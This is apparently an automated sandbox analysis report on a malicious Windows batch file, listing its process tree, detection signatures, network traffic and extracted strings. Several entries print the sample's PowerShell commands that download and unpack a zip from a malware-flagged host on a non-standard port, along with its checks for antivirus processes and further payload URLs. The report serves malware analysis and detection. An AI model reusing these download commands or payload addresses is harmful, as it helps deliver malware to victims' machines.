Edit tour

Windows Analysis Report
YnViC5yHLu.bat

Overview

General Information

Sample name:	YnViC5yHLu.bat renamed because original name is a hash value
Original sample name:	fbf246262ae165b7b701354b9ca9f8e6cf9d8b5872eca3f13bdeabc2174ab9dd.bat
Analysis ID:	1570830
MD5:	a7557c625132659ef814b0ed030f764b
SHA1:	1239cceaf4db04769b0426a05adcc045b5a5adc5
SHA256:	fbf246262ae165b7b701354b9ca9f8e6cf9d8b5872eca3f13bdeabc2174ab9dd
Tags:	batWsgiDAVuser-JAMESWT_MHT
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

AI detected suspicious sample

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7388 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LHEPQPGEWF.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1752,i,12446322680789384816,5236615834425625880,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 7528 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

tasklist.exe (PID: 7624 cmdline: tasklist /FI "IMAGENAME eq AvastUI.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7644 cmdline: find /i "AvastUI.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

tasklist.exe (PID: 7720 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7728 cmdline: find /i "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

powershell.exe (PID: 7832 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3580 cmdline: powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 8104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3580, TargetFilename: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8104, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Observed DNS Query to PeakLight/Emmenhtal Domain (partinvshipppjbb .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T08:42:21.654945+0100	2058069	1	A Network Trojan was detected	192.168.2.7	54377	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://partinvshipppjbb.click:7382/bab.zip1	Avira URL Cloud: Label: malware
Source: http://partinvshipppjbb.click:7382/cam.zip	Avira URL Cloud: Label: malware
Source: http://partinvshipppjbb.click:7382/bab.zipmSY	Avira URL Cloud: Label: malware
Source: http://partinvshipppjbb.click:7382/bab.zip	Avira URL Cloud: Label: malware
Source: http://partinvshipppjbb.click:7382	Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 85.3% probability

Source:	Binary string: pdb.Pdb(nosigint=True).runcall(f) source: test_zipimport_support.py.22.dr
Source:	Binary string: .pdbrc source: genindex-Symbols.html.22.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2058069 - Severity 1 - ET MALWARE Observed DNS Query to PeakLight/Emmenhtal Domain (partinvshipppjbb .click) : 192.168.2.7:54377 -> 1.1.1.1:53

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 7382
Source: unknown	Network traffic detected: HTTP traffic on port 7382 -> 49702

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 193.143.1.46:7382

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: partinvshipppjbb.click:7382Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: partinvshipppjbb.click:7382Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: partinvshipppjbb.click
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: test_xml_etree.py.22.dr	String found in binary or memory: http://éffbot.org/ns
Source: utils.cpython-312.pyc0.22.dr	String found in binary or memory: http://.../back.jpeg
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/sp%E4m
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spam
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/sp%E4m
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;cookie=1234
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;ham
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?s%E4y=ni
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?say=ni
Source: test_wsgiref.py.22.dr	String found in binary or memory: http://127.0.0.1:8000/
Source: session.py.22.dr	String found in binary or memory: http://bit.ly/1qrySKC)
Source: contextlib.py.22.dr	String found in binary or memory: http://bugs.python.org/issue12029
Source: contextlib.py.22.dr	String found in binary or memory: http://bugs.python.org/issue13585
Source: test_long.py.22.dr	String found in binary or memory: http://bugs.python.org/issue14630:
Source: futures.py.22.dr	String found in binary or memory: http://bugs.python.org/issue18699
Source: contextlib.py.22.dr	String found in binary or memory: http://bugs.python.org/issue19404
Source: test_io.py.22.dr	String found in binary or memory: http://bugs.python.org/issue20404
Source: test_zipapp.py.22.dr	String found in binary or memory: http://bugs.python.org/review/23491/diff/13982/Lib/zipapp.py#newcode67Lib/zipapp.py:67
Source: lexer.py.22.dr	String found in binary or memory: http://chardet.feedparser.org/
Source: __init__.py26.22.dr	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: svchost.exe, 0000000C.00000002.2732427457.00000241E1A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: python.py.22.dr	String found in binary or memory: http://cython.org
Source: python.cpython-312.pyc.22.dr	String found in binary or memory: http://cython.org)
Source: test_unicode_file_functions.py.22.dr	String found in binary or memory: http://developer.apple.com/mac/library/qa/qa2001/qa1173.html
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: test_urllib2.py.22.dr	String found in binary or memory: http://docs.python.org
Source: test_urllib2.py.22.dr	String found in binary or memory: http://docs.python.org/library/urllib2.html#OK
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://effbot.org/ns
Source: out_inC14N3_c14nDefault.xml.22.dr, out_inC14N3_c14nTrim.xml.22.dr	String found in binary or memory: http://example.org
Source: svchost.exe, 0000000C.00000003.1346905836.00000241E1820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: terminal256.cpython-312.pyc.22.dr	String found in binary or memory: http://frexx.de/xterm-256-notes/data/xterm256-conv2.tar.bz2)
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://namespace.invalid/does/not/exist/
Source: powershell.exe, 0000000A.00000002.2556024426.0000013C983B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://partinvshipppjbb.click:7382
Source: powershell.exe, 0000000A.00000002.2511802075.0000013C87C63000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2511155346.0000013C862B9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2511985363.0000013C880D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2510980161.0000013C86264000.00000004.00000020.00020000.00000000.sdmp, YnViC5yHLu.bat	String found in binary or memory: http://partinvshipppjbb.click:7382/FTSP.zip
Source: powershell.exe, 0000000A.00000002.2511802075.0000013C87C63000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2512119500.0000013C88195000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2510980161.0000013C86264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://partinvshipppjbb.click:7382/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 0000000A.00000002.2510980161.0000013C86264000.00000004.00000020.00020000.00000000.sdmp, YnViC5yHLu.bat	String found in binary or memory: http://partinvshipppjbb.click:7382/bab.zip
Source: powershell.exe, 0000000A.00000002.2511155346.0000013C862B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://partinvshipppjbb.click:7382/bab.zip1
Source: powershell.exe, 0000000A.00000002.2511802075.0000013C87C63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://partinvshipppjbb.click:7382/bab.zipmSY
Source: YnViC5yHLu.bat	String found in binary or memory: http://partinvshipppjbb.click:7382/cam.zip
Source: YnViC5yHLu.bat	String found in binary or memory: http://partinvshipppjbb.click:7382/startuppp.bat
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: test_uuid.py.22.dr	String found in binary or memory: http://python.org/
Source: test_urllib2.py.22.dr	String found in binary or memory: http://python.org/path
Source: test_urllib2.py.22.dr	String found in binary or memory: http://python.org/path?query
Source: cporting.html.22.dr	String found in binary or memory: http://python3porting.com/cextensions.html
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope
Source: test_xml_etree.py.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: inNsContent.xml.22.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: test_list.py.22.dr	String found in binary or memory: http://sources.redhat.com/ml/newlib/2002/msg00369.html
Source: README.ctypes.22.dr	String found in binary or memory: http://svn.red-bean.com/bob/macholib/trunk/macholib/
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.%70ython.org/
Source: test_pass1.py.22.dr	String found in binary or memory: http://www.JSON.org/
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: _pydatetime.py.22.dr	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: test_yield_from.py.22.dr	String found in binary or memory: http://www.cosc.canterbury.ac.nz/greg.ewing/python/yield-from/YieldFrom-Python3.1.2-rev5.zip
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.cracker.com/
Source: __init__.py26.22.dr	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: __init__.py26.22.dr	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: _pydatetime.py.22.dr	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: out_inC14N3_c14nDefault.xml.22.dr	String found in binary or memory: http://www.ietf.org
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.perl.org/
Source: _pydatetime.py.22.dr	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: test_urllib2.py.22.dr, python.py.22.dr	String found in binary or memory: http://www.python.org
Source: python.cpython-312.pyc.22.dr	String found in binary or memory: http://www.python.org)
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.python.org/
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.python.org/#fun=true
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.python.org/?qs=query#fragment=true
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.python.org/~jeremy/
Source: test_urllib2.py.22.dr	String found in binary or memory: http://www.python.org?getspam
Source: library.html.22.dr	String found in binary or memory: http://www.some-server.out-there'
Source: testpatch.py.22.dr	String found in binary or memory: http://www.voidspace.org.uk/python/mock/
Source: 2D85F72862B55C4EADD9E66E06947F3D0.11.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: test_wsgiref.py.22.dr	String found in binary or memory: https://127.0.0.1/
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: android.py.22.dr, android.cpython-312.pyc.22.dr	String found in binary or memory: https://android.stackexchange.com/a/216132
Source: argparse.html.22.dr	String found in binary or memory: https://babel.pocoo.org/
Source: py2_test_grammar.py.22.dr, py3_test_grammar.py.22.dr	String found in binary or memory: https://bugs.python.org/issue1333982
Source: test_urllib2.py.22.dr	String found in binary or memory: https://bugs.python.org/issue1479302)
Source: test_urllib2.py.22.dr	String found in binary or memory: https://bugs.python.org/issue14797027
Source: contextlib.py.22.dr	String found in binary or memory: https://bugs.python.org/issue29302
Source: test_io.py.22.dr	String found in binary or memory: https://bugs.python.org/issue32228
Source: python.py.22.dr	String found in binary or memory: https://bugs.python.org/issue36817)
Source: typeobj.html.22.dr	String found in binary or memory: https://bugs.python.org/issue40217
Source: test_logging.py.22.dr	String found in binary or memory: https://bugs.python.org/issue45128
Source: contextvars.html.22.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34762
Source: _pydatetime.py.22.dr	String found in binary or memory: https://bugs.python.org/msg352381
Source: _export_format.cpython-312.pyc.22.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Bold.woff
Source: _export_format.cpython-312.pyc.22.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff
Source: _export_format.cpython-312.pyc.22.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Bold.woff2
Source: _export_format.cpython-312.pyc.22.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff2/FiraCode-Regular.woff2
Source: cporting.html.22.dr	String found in binary or memory: https://cffi.readthedocs.io/en/latest/
Source: library.html.22.dr	String found in binary or memory: https://code.google.com/archive/p/python-safethread
Source: test_ipaddress.py.22.dr	String found in binary or memory: https://code.google.com/p/ipaddr-py/issues/detail?id=15
Source: powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: init.html.22.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5983
Source: extending.html0.22.dr	String found in binary or memory: https://cxx.sourceforge.net/
Source: extending.html0.22.dr	String found in binary or memory: https://cython.org
Source: cporting.html.22.dr	String found in binary or memory: https://cython.org/
Source: macos.cpython-312.pyc.22.dr	String found in binary or memory: https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgra
Source: searchtools.js.22.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#escaping
Source: gdb_helpers.html.22.dr	String found in binary or memory: https://devguide.python.org
Source: general.html.22.dr	String found in binary or memory: https://devguide.python.org/
Source: general.html.22.dr	String found in binary or memory: https://devguide.python.org/developer-workflow/development-cycle/
Source: clinic.html.22.dr	String found in binary or memory: https://devguide.python.org/development-tools/clinic/
Source: general.html.22.dr	String found in binary or memory: https://devguide.python.org/setup/
Source: general.html.22.dr	String found in binary or memory: https://docs.python.org/3/
Source: init.html.22.dr, tuple.html.22.dr, concrete.html.22.dr, index.html.22.dr, bytearray.html.22.dr, clinic.html.22.dr, capsule.html.22.dr, gdb_helpers.html.22.dr, method.html.22.dr, ipaddress.html.22.dr, general.html.22.dr, contents.html.22.dr, complex.html.22.dr, copyright.html.22.dr, init_config.html.22.dr, argparse.html.22.dr, iter.html.22.dr, extending.html0.22.dr, mapping.html.22.dr, gui.html.22.dr, library.html.22.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: about.html.22.dr	String found in binary or memory: https://docs.python.org/3/about.html
Source: buffer.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/buffer.html
Source: bytearray.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/bytearray.html
Source: call.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/call.html
Source: capsule.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/capsule.html
Source: complex.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/complex.html
Source: concrete.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/concrete.html
Source: contextvars.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/contextvars.html
Source: coro.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/coro.html
Source: exceptions.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/exceptions.html
Source: float.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/float.html
Source: index.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/index.html
Source: init.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/init.html
Source: init_config.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/init_config.html
Source: iter.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/iter.html
Source: mapping.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/mapping.html
Source: method.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/method.html
Source: sequence.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/sequence.html
Source: set.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/set.html
Source: tuple.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/tuple.html
Source: typeobj.html.22.dr	String found in binary or memory: https://docs.python.org/3/c-api/typeobj.html
Source: contents.html.22.dr	String found in binary or memory: https://docs.python.org/3/contents.html
Source: copyright.html.22.dr	String found in binary or memory: https://docs.python.org/3/copyright.html
Source: general.html.22.dr	String found in binary or memory: https://docs.python.org/3/download.html
Source: extending.html0.22.dr	String found in binary or memory: https://docs.python.org/3/faq/extending.html
Source: general.html.22.dr	String found in binary or memory: https://docs.python.org/3/faq/general.html
Source: gui.html.22.dr	String found in binary or memory: https://docs.python.org/3/faq/gui.html
Source: library.html.22.dr	String found in binary or memory: https://docs.python.org/3/faq/library.html
Source: genindex-A.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-A.html
Source: genindex-C.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-C.html
Source: genindex-G.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-G.html
Source: genindex-I.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-I.html
Source: genindex-J.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-J.html
Source: genindex-K.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-K.html
Source: genindex-M.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-M.html
Source: genindex-N.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-N.html
Source: genindex-Symbols.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-Symbols.html
Source: genindex-T.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-T.html
Source: genindex-V.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex-V.html
Source: genindex.html.22.dr	String found in binary or memory: https://docs.python.org/3/genindex.html
Source: argparse.html.22.dr	String found in binary or memory: https://docs.python.org/3/howto/argparse.html
Source: clinic.html.22.dr	String found in binary or memory: https://docs.python.org/3/howto/clinic.html
Source: cporting.html.22.dr	String found in binary or memory: https://docs.python.org/3/howto/cporting.html
Source: gdb_helpers.html.22.dr	String found in binary or memory: https://docs.python.org/3/howto/gdb_helpers.html
Source: ipaddress.html.22.dr	String found in binary or memory: https://docs.python.org/3/howto/ipaddress.html
Source: results.py.22.dr	String found in binary or memory: https://docs.python.org/3/library/pprint.html
Source: results.py.22.dr	String found in binary or memory: https://docs.python.org/3/library/pprint.html#pprint.pprint
Source: general.html.22.dr	String found in binary or memory: https://docs.python.org/3/license.html
Source: python.py.22.dr	String found in binary or memory: https://docs.python.org/3/reference/expressions.html
Source: about.html.22.dr	String found in binary or memory: https://docutils.sourceforge.io/
Source: about.html.22.dr	String found in binary or memory: https://docutils.sourceforge.io/rst.html
Source: library.html.22.dr	String found in binary or memory: https://epydoc.sourceforge.net/
Source: unix.cpython-312.pyc.22.dr	String found in binary or memory: https://freedesktop.org/wiki/Software/xdg-user-dirs/.z
